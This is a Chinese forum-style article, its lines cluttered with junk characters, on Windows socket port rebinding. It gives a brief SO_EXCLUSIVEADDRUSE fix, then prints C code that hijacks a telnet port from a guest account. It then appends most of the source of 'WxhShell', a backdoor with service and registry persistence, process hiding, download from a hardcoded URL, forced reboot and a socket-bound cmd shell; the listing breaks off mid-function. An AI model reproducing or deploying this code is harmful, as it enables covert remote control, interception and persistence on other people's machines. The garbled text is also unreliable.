在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5$#<z1M.& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~j4=PT :heJ5*!, saddr.sin_family = AF_INET;
A%2!Hr jG^~{7# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zeua`jQ 3n/L;T,X bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Jg Xbs+. '+eP%Y[W% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
h]=chz <B
fwR$ 这意味着什么?意味着可以进行如下的攻击:
rcbixOT C4G)anT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
t^[{8,N L{Th>]X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4Cfwz-Qo zH_q6@4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
NKGCz|-
9 D H.ljGb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dKMuo'H'% @V-ZV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Wu}Co ._R82gy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
LNg1q1P3 K)14v;@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!uZ+r% ]MHQ"E? #include
RS:0xN\JN #include
MVj@0W33m #include
Z/I!\ #include
eGE%c1H9a DWORD WINAPI ClientThread(LPVOID lpParam);
6JL
7ut int main()
|-R::gm {
4R0_%x6vG WORD wVersionRequested;
t"L:3<U7 DWORD ret;
j[HKC0C6 WSADATA wsaData;
42C:cl} ." BOOL val;
ENmo^O#,u SOCKADDR_IN saddr;
e}?t[aK4# SOCKADDR_IN scaddr;
~\/ J& int err;
y#MLxm SOCKET s;
G]S E
A SOCKET sc;
0N}5sF int caddsize;
.dygp"* HANDLE mt;
4a 5n*6G! DWORD tid;
>}I}9y+ wVersionRequested = MAKEWORD( 2, 2 );
::R^ w" err = WSAStartup( wVersionRequested, &wsaData );
`SG70/ if ( err != 0 ) {
5FzRusNiA printf("error!WSAStartup failed!\n");
I)x:NF6JO return -1;
<V,?!}V }
l&rDa=m.J saddr.sin_family = AF_INET;
lz*PNT{E :X!(^a;] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}iC~B} :@/fy}! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
tL5Xfd?u saddr.sin_port = htons(23);
zPmVECS if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d!d
3r W;A {
T'V(%\w printf("error!socket failed!\n");
]`NbNr]K return -1;
*Z]|
Z4Q/` }
NqWHR~& val = TRUE;
3UaP7p+d //SO_REUSEADDR选项就是可以实现端口重绑定的
ZBXGuf if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
lfA
BF {
^DH*@M printf("error!setsockopt failed!\n");
9,Mp/.T" \ return -1;
~;+vF-]R }
MJb = +L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{,
|"Rpd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`~}7k)F( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
bDkE*4SRX 8 N` $7^^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*"5a5.`%, {
=?lT&|" ret=GetLastError();
<_>6a7ra printf("error!bind failed!\n");
Yyo|W;a] return -1;
z>{KeX: }
TAi\#cnl(6 listen(s,2);
Lr^xp,_ n while(1)
g IKm {
H>]z=w~ caddsize = sizeof(scaddr);
Pjy?&;GvT //接受连接请求
Mz^s^aJEE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!$?@;}= if(sc!=INVALID_SOCKET)
KFhn}C3
i {
(w-u"1& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@r43F$bcqo if(mt==NULL)
g5Vr2 {
2%8Y-o? printf("Thread Creat Failed!\n");
3oKGeB;Ja break;
^ZlV1G;/W@ }
Rf^cw}jU }
{q)B@#p CloseHandle(mt);
JXAyF6
$ }
zJ:r0Bt closesocket(s);
c-T
^
aR WSACleanup();
gh}AD1TN] return 0;
z|<oxF. }
]Yu+M3Fq DWORD WINAPI ClientThread(LPVOID lpParam)
_HK&KY {
acZHb[w SOCKET ss = (SOCKET)lpParam;
l!y
_P SOCKET sc;
M;Rw]M unsigned char buf[4096];
]*@$%iCPE SOCKADDR_IN saddr;
!VHIl&Mos long num;
Ib\G{$r DWORD val;
WK}+f4tdW[ DWORD ret;
=QfKDA //如果是隐藏端口应用的话,可以在此处加一些判断
GN9_ZlC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9/M!S[N9 saddr.sin_family = AF_INET;
?>8zU;Aj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qtN29[x saddr.sin_port = htons(23);
I`TD*D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!S!03| {
~K96y$ DTE printf("error!socket failed!\n");
) R@gnTe return -1;
DxgT]F% }
gk1S"H val = 100;
XgKG\C=3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WS/+Yl {
%`1vIr(7 ret = GetLastError();
=)YYx8gR return -1;
'lk74qU$ }
ss{= ::# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
uq%3;#[0 {
Nj_sU0Dt ret = GetLastError();
D,j5k3< # return -1;
@>IjfrjV }
,rI
|+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
A4FDR# {
} XU:DE printf("error!socket connect failed!\n");
kV3j}C" closesocket(sc);
E@6r{uZ# closesocket(ss);
$tHwJ!<$& return -1;
&U*J{OP| }
Pu*HZW3l while(1)
8VmN?"5v {
$-?5Q~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}.cmiC //如果是嗅探内容的话,可以再此处进行内容分析和记录
Oc9>F\]_m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g<4M!gi num = recv(ss,buf,4096,0);
Sc$wR{W<: if(num>0)
DB%AO:8 send(sc,buf,num,0);
KdJx#Lc else if(num==0)
'?gIcWM break;
w%dIe!sV num = recv(sc,buf,4096,0);
K!K"}%/_ if(num>0)
jgKL88J*\ send(ss,buf,num,0);
].P(/~FS9 else if(num==0)
}l?_Cfvu break;
T\!SA }
5b`xN!c closesocket(ss);
!TL}~D:J closesocket(sc);
K('lH-3wS return 0 ;
;T{/; }
/)?P>!#;\ K_|~3g fKz"z{\,0 ==========================================================
{kl{mJ* ^s~n[ 下边附上一个代码,,WXhSHELL
6q[!X0u %)Uvf`Xhh4 ==========================================================
h_chZB' E
D^rWE_ #include "stdafx.h"
x<j"DS}S)D ?U/Wio$@ #include <stdio.h>
|id79qY7g #include <string.h>
XQJ^)d00h #include <windows.h>
u%1k #include <winsock2.h>
8C,utjy #include <winsvc.h>
if[o?6U4t #include <urlmon.h>
4_762Gu% N3yB1_ #pragma comment (lib, "Ws2_32.lib")
1|WpKaMoq #pragma comment (lib, "urlmon.lib")
t-m9n*\j1 sMS9!{A #define MAX_USER 100 // 最大客户端连接数
Wj j2J8B #define BUF_SOCK 200 // sock buffer
;#yu"6{ #define KEY_BUFF 255 // 输入 buffer
QS [B ?hJsN #define REBOOT 0 // 重启
bjPbl2K #define SHUTDOWN 1 // 关机
T
E&Q6 vMX6Bg8 #define DEF_PORT 5000 // 监听端口
n*i'v tQ8 ow+Dd[i #define REG_LEN 16 // 注册表键长度
EdAR<VfleA #define SVC_LEN 80 // NT服务名长度
A]iv)C;] k g,ys4 // 从dll定义API
hHc^ZA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(OyY_` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
f >)Tq' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
QPe9s[Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
uH&,%k9GVK {eswe // wxhshell配置信息
:DMHezaU struct WSCFG {
E/7vIg
F int ws_port; // 监听端口
: \:~y9X0 char ws_passstr[REG_LEN]; // 口令
~njbLUB int ws_autoins; // 安装标记, 1=yes 0=no
FQ^<, char ws_regname[REG_LEN]; // 注册表键名
l!;_lH8W$ char ws_svcname[REG_LEN]; // 服务名
F!)M<8jL&9 char ws_svcdisp[SVC_LEN]; // 服务显示名
14rVb2^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
c2/R]%`)9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
EID)o[< int ws_downexe; // 下载执行标记, 1=yes 0=no
<p^*Ydx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
nGv23R(?G char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B)"#/@!bHH 6L8tz8 };
Rnj Jg?I= 5]H))}9>d // default Wxhshell configuration
l$-=Pqb struct WSCFG wscfg={DEF_PORT,
YBtq0c "xuhuanlingzhe",
"y~muE:. 1,
UbY~xs7_ "Wxhshell",
f3zfRhkIk "Wxhshell",
c}IX" "WxhShell Service",
G9i)nWr "Wrsky Windows CmdShell Service",
$m:2&lU3 "Please Input Your Password: ",
fVH*dX'Jz 1,
[ZKtbPHb "
http://www.wrsky.com/wxhshell.exe",
GX7 eRqz > "Wxhshell.exe"
d=t}T6.| };
sb}K%- (ET ;LH3 // 消息定义模块
P /c
Q1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Zk/' \(5 char *msg_ws_prompt="\n\r? for help\n\r#>";
'9-axIj70 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
s%N` char *msg_ws_ext="\n\rExit.";
{=bg5I0|a char *msg_ws_end="\n\rQuit.";
b(#"w[| char *msg_ws_boot="\n\rReboot...";
FDF3zzP0 char *msg_ws_poff="\n\rShutdown...";
<.r ]dCf char *msg_ws_down="\n\rSave to ";
3?.1~ "-J I&pr_~. char *msg_ws_err="\n\rErr!";
R=vbUA char *msg_ws_ok="\n\rOK!";
.DDg%z lL(p]!K' char ExeFile[MAX_PATH];
3$?9uMl# int nUser = 0;
;|>q zx HANDLE handles[MAX_USER];
0i8[= int OsIsNt;
c<=`<!FS[ 5)d,G9 SERVICE_STATUS serviceStatus;
#Mj$o;SX SERVICE_STATUS_HANDLE hServiceStatusHandle;
Rwc[:6;fn I&TTr7 // 函数声明
"x#]i aDjf int Install(void);
L_THU4^j
int Uninstall(void);
mL:m;>JJ n int DownloadFile(char *sURL, SOCKET wsh);
k9}Q7) @ int Boot(int flag);
t]
r,9df' void HideProc(void);
});cX$ int GetOsVer(void);
^))PCn_zb int Wxhshell(SOCKET wsl);
I.^X 2 void TalkWithClient(void *cs);
pqyWv; int CmdShell(SOCKET sock);
aBXYri int StartFromService(void);
xm<v">< int StartWxhshell(LPSTR lpCmdLine);
l |08 :y+B;qw VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6=ZRn gQ VOID WINAPI NTServiceHandler( DWORD fdwControl );
^M`>YOU2+ xwTijSj // 数据结构和表定义
Ur'9bl{5 SERVICE_TABLE_ENTRY DispatchTable[] =
LP^p~5Az {
VHXI@UT* {wscfg.ws_svcname, NTServiceMain},
wGEWr2$ {NULL, NULL}
#4P8Rzl$/ };
V";mWws+?# K #qoR /: // 自我安装
:/o C:z\h int Install(void)
{ 1+Cw?1d {
A",eS6 char svExeFile[MAX_PATH];
]b4pI*:$I HKEY key;
xS=_yO9- strcpy(svExeFile,ExeFile);
<8u>_o6 x96qd%l/ // 如果是win9x系统,修改注册表设为自启动
f{)+-8 if(!OsIsNt) {
+7| [b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/xl4ohL$a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.)LZ`Ge3F RegCloseKey(key);
9{_8cpm4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kCj`V2go RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iuiAK RegCloseKey(key);
w Y8@1>ah return 0;
a?5WKO }
uQH%.A }
}x*7l`1 }
=WIE>*3[ else {
WMW1B}Z3 2 ]L=s3 // 如果是NT以上系统,安装为系统服务
(C,e6r Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
U(U@!G) if (schSCManager!=0)
%tT"`%(+ {
Z;ZuS[ZA SC_HANDLE schService = CreateService
!\QeBd+ (
wk" l[cH> schSCManager,
3(1]FKZtt wscfg.ws_svcname,
L
;6b+I wscfg.ws_svcdisp,
h S4.3]ei SERVICE_ALL_ACCESS,
30D:ZmlY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!n|#|.0m SERVICE_AUTO_START,
EJ1Bq>u7 SERVICE_ERROR_NORMAL,
>BBl7 svExeFile,
cppL0myJ NULL,
7$!yfMttu NULL,
\ jECSV| NULL,
ToV6lS" NULL,
BbFa=H. NULL
`,+#! ) );
Z;#%t. if (schService!=0)
~|h lE z {
ful#Px6m CloseServiceHandle(schService);
lK0s=4c{ CloseServiceHandle(schSCManager);
d:A}CBTSY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b3}Q#Y\G strcat(svExeFile,wscfg.ws_svcname);
k!T|)\nc+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*'6s63)I2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9X( Sk% RegCloseKey(key);
y<TOqn return 0;
<3b'm*
}
k^z0Lo|)' }
`)T&~2n CloseServiceHandle(schSCManager);
>QXzMN}o }
1n_;kaY }
AIb>pL{ =-_)$GOI' return 1;
<0#^7Z }
;(7-WnU8N HN{z T& // 自我卸载
QIQfI05 int Uninstall(void)
te i`/ {
D}-o+6TI? HKEY key;
%;7.9% ]Kv q |}= if(!OsIsNt) {
k}GjD2m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y,C=@t@_ RegDeleteValue(key,wscfg.ws_regname);
xOythvO RegCloseKey(key);
t-WjL@$F/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tR1FO%nC RegDeleteValue(key,wscfg.ws_regname);
wxE?3%.j\ RegCloseKey(key);
n0Go p^3 return 0;
9RH"d[%yc} }
BWh}^3?l }
:}Ok$^5s }
s.VA!@F5 else {
K1OkZ6kl n#4Gv|{XMD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
I.1D*!tz if (schSCManager!=0)
Y6A;AmM8 {
Z&Ue|Z4Qt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+c--&tBo if (schService!=0)
UP2}q?4 {
F?9SiX[\ if(DeleteService(schService)!=0) {
Di> rO038 CloseServiceHandle(schService);
L;S}s, 2x CloseServiceHandle(schSCManager);
qy
,"X)^# return 0;
P>(P2~$Y" }
*:g_'K"+ CloseServiceHandle(schService);
gyev5txn }
Fi4UaJ3K CloseServiceHandle(schSCManager);
rFey4zzz }
pLnB)z? }
*t(4 $ <C'Z H'p return 1;
v`x|]-/M& }
:'}@Al9=> 'Dath>Y= // 从指定url下载文件
v>H=,.`0\ int DownloadFile(char *sURL, SOCKET wsh)
D<bI2 {
G(/DtY] HRESULT hr;
%?9Ok char seps[]= "/";
z\T Lsx char *token;
^z~~VBv char *file;
/ylc*3e'4 char myURL[MAX_PATH];
9[VxskEh char myFILE[MAX_PATH];
/1d<P! H "UG
K8x strcpy(myURL,sURL);
&J$##B token=strtok(myURL,seps);
X`:'i?(yj while(token!=NULL)
<^8*<;PaG {
4r&f%caU file=token;
oh~:, token=strtok(NULL,seps);
M&KyA }
+Rwx%= -:<lkq&/ GetCurrentDirectory(MAX_PATH,myFILE);
[|RjHGf strcat(myFILE, "\\");
)K;]y-Us[ strcat(myFILE, file);
kccWoU, send(wsh,myFILE,strlen(myFILE),0);
Y/fJQ6DY send(wsh,"...",3,0);
k_ Y~;P@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Dz;HAyPj if(hr==S_OK)
\S4SI return 0;
mrM4RoO else
Qhn;`9+L return 1;
Zgamd1DJ[l })Yv9],6 }
P`(Mk6gE lr~0pL // 系统电源模块
!l 6dg& int Boot(int flag)
X(*!2uS {
L(G92,. HANDLE hToken;
8Lz]Z
h=ZU TOKEN_PRIVILEGES tkp;
B{MaMf) V'pqxjfd if(OsIsNt) {
</[: 9Cl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8 lT{1ro LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
},@``&e tkp.PrivilegeCount = 1;
(=u'sn:s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
94/BG0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)8,|-o= if(flag==REBOOT) {
7K;!iX<d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@?kJ). return 0;
)C~9E 5E }
Q@S-f:! else {
$IX\O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
O
)d[8jw" return 0;
F #`=oM$5 }
fjG&`m#" }
wTc)S6%7 else {
`yO'[2 if(flag==REBOOT) {
HrM$NRhu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F<|t\KOW return 0;
Yh<WA>= }
nZk+ else {
4aUiXyr*2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i=S~(gp return 0;
[?0d~Q(R# }
!t#F/C }
B?bW1 viX
+|A4gJ return 1;
aYn^)6^ }
?-)I+EAnE 7[pBUDA // win9x进程隐藏模块
9+=gke void HideProc(void)
$IQw=w7p {
U/ od~29 fmX!6Kv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
r6Aneg7 if ( hKernel != NULL )
Vvp[P> {
0RFRbi@n( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
nh+l78 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Z4b|| FreeLibrary(hKernel);
}<a^</s }
Smw QET<H h^UKT`9vt return;
#W>QY Tp }
cVnJ^*Z /] ^#b // 获取操作系统版本
GL$De,V int GetOsVer(void)
X{xBYZv4 {
#%0Bx3uM OSVERSIONINFO winfo;
W~1~k{A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
avQJPB)}Sb GetVersionEx(&winfo);
^x>Qf(b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
CusF/> return 1;
:aCrX else
hVUh0XeO return 0;
,f3pqi9| }
j$7|XM6 v=@TWEE // 客户端句柄模块
V~G`kkNy int Wxhshell(SOCKET wsl)
hj%ye~|~ {
9;.(u'y| SOCKET wsh;
D\dWt1n struct sockaddr_in client;
/AY4M;}p DWORD myID;
F,BOgWwP 'xY@ x-o while(nUser<MAX_USER)
}@ Z56 {
x!LQxoNF int nSize=sizeof(client);
f5AjJYq1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Hb} X-6N if(wsh==INVALID_SOCKET) return 1;
Ysq'2 \MC-4Yz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^DeERB if(handles[nUser]==0)
]V l]XT$Um closesocket(wsh);
2WX7nK;I else
!G^L/?z3 nUser++;
(.wIe/ }
wI]"U2L5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
tz4
]qOH8 ^z1&8k"[^ return 0;
kft#R#m }
%,Sf1fUJ 3s\.cG?`r // 关闭 socket
3$.deYa$R void CloseIt(SOCKET wsh)
0R{dNyh{ {
('wY9kvL& closesocket(wsh);
&qpr*17T nUser--;
1tTgP+ ExitThread(0);
(~CLn;' }
Nkxmm/Z 0"2=n.## // 客户端请求句柄
m(RXJORI void TalkWithClient(void *cs)
*n"/a{6> {
UcBe'r}G \PDd$syDA SOCKET wsh=(SOCKET)cs;
NI#X@ char pwd[SVC_LEN];
NH$r
Z7$ char cmd[KEY_BUFF];
\^ghdU char chr[1];
Dd;Nz int i,j;
(?_S6HE qmO6,T-| while (nUser < MAX_USER) {
-F'b8:m 8Ac)'2t;U if(wscfg.ws_passstr) {
Bm&kkx.9P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R\o<7g-| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.ObZ\.I //ZeroMemory(pwd,KEY_BUFF);
u6>?AW1~ i=0;
G!K]W:m while(i<SVC_LEN) {
hX`}Q4(k C<KrMRWh^ // 设置超时
(Yp+bS(PU* fd_set FdRead;
O3TQixE struct timeval TimeOut;
eF[63zx5* FD_ZERO(&FdRead);
TIp:FW[ FD_SET(wsh,&FdRead);
GpZc5c TimeOut.tv_sec=8;
Q+4Xs.# TimeOut.tv_usec=0;
G}&Sle] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
tOfg?)h{dc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\j&^aAp r UnI48Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7AYd!n&S pwd
=chr[0]; 0-~\
W(
if(chr[0]==0xd || chr[0]==0xa) { X]\ \,
pwd=0; :_!8
WB
break; N<QXmgqx
} c478P=g=5
i++; Yjx|9_|Xn
} v) vkn/:
&u#&@J
// 如果是非法用户,关闭 socket pdE3r$C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?LvCR_D:
} zZVfj:i8
z dO#0tN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PRz/inru-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p.LFVFPT
v\p;SwI
while(1) { \&H nKhI
M5xCC!
ZeroMemory(cmd,KEY_BUFF); 2W4qBaG$=
JV;OGh>
// 自动支持客户端 telnet标准 ]T%rjsN
j=0; fk_o@
G!0
while(j<KEY_BUFF) { 5nsq[Q`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Dw]p!@
cmd[j]=chr[0]; m!<\WN6g
if(chr[0]==0xa || chr[0]==0xd) { [B+W%g(c-
cmd[j]=0; mEG#>Gg$
break; zbq@pj)Qu
} 6R=W}q4
j++; Q+YRf3$
} J~#;<e{\"
D1__n6g[
// 下载文件 w8n|B?Sr
if(strstr(cmd,"http://")) { )B[0JrcE
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HD(.BW7
if(DownloadFile(cmd,wsh)) "HPB!)C8(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i&VsW7
else % LJs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J>/w5$h5
} #5V9oKM
else { I'|$}/\`
g]*#%Xa
switch(cmd[0]) { L:FoSCN Y(
'nF2aD%A
// 帮助 vd8{c7g:n
case '?': { R~Ne|V2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9(@\&>)
break; XGl+S
} qHxqQ'ks;
// 安装 y\a1iy
case 'i': { '0FhL)x?"T
if(Install()) t+eVR8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l8?>>.<P=
else 2 $Tj84'X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #5f-`~^C{
break; M@5?ZZ4L
} ayiu,DXx
// 卸载 %mZ {4<7
case 'r': { ,v{rCxFtvU
if(Uninstall()) uvrB5=u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t25,0<iW
else kXf'5p1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1PpyV f
break; qzTuxo0B
} )a-Du$kd
// 显示 wxhshell 所在路径 "sG=wjcw^
case 'p': { E@ESl0a;
char svExeFile[MAX_PATH]; .FLy;_f+
strcpy(svExeFile,"\n\r"); >(;{C<6|^
strcat(svExeFile,ExeFile); /oriW;OF
send(wsh,svExeFile,strlen(svExeFile),0); ~-I+9F
break; <kCU@SK
} 3? HhG
// 重启 >"C,@cN}B
case 'b': { 62Z#YQ}x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Nk3|u`h
if(Boot(REBOOT)) )Q.>rX,F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5=Di<! a;
else { [<6S%s
closesocket(wsh); $g
sxO!G
ExitThread(0); {HCzp,Y
} a]MX)?
break; S;)w.
} 6Aku1h
// 关机 :$n=$C-wp
case 'd': { \ioH\9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `|/<\
if(Boot(SHUTDOWN)) |6$p;Aar
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0:T|S>FsAm
else { }nL7T'$>
closesocket(wsh); &sU?Ok6
ExitThread(0); w'UVKpG+
} {QwHc5Bf
break; @0F3$
} ?nmn1`UT
// 获取shell PBp^|t]E>
case 's': { q,+yqrt
CmdShell(wsh); eN^qG
42
closesocket(wsh); 43@{JK9G
ExitThread(0); /\hzb/
break; HbxL:~:}J
} |g//g\dd
// 退出 |y2w9n0D
case 'x': { k@'#@
t
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); smnSDS
CloseIt(wsh); oIduxbAp
break; ,.7*Hpa
} lb3]$Da
// 离开 urjjw.wZ
case 'q': { 0`[wpZ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); eY|
closesocket(wsh); z[3L2U~6
WSACleanup(); +w+}b^4
exit(1); lhBT@5Dm9
break; pNKhc#-w
} /|D*w^>
} Ym =FgM\
} 3 yB!M
J%,*isEL
// 提示信息 lw<c2C
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [@5Ytv H
} 5.MGaU^Z$
} ; ShJi
|v$JCU3!A
return; H kQ)n3
} /so8WRu.
iLkZ"X.'|1
// shell模块句柄 %|^fi8!:|
int CmdShell(SOCKET sock) <OIIoB?t
{ dF2nEaN0%
STARTUPINFO si; |\7
ET[Xq
ZeroMemory(&si,sizeof(si)); /!3@]xz*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PEW=@xj2y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'LE=6{#
PROCESS_INFORMATION ProcessInfo; }n4V|f-
char cmdline[]="cmd"; #~<0t(3Q
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #g]vc_V
return 0; T>NDSami
} j4^9 7
.8by"?**
// 自身启动模式 *tK\R&4,4s
int StartFromService(void) 5) pj]S!]-
{ _t^{a]/H
typedef struct s]f6/x/~
{
&2{tF
DWORD ExitStatus; 0sfr d
DWORD PebBaseAddress; Yi$vg
DWORD AffinityMask; 61)-cVC
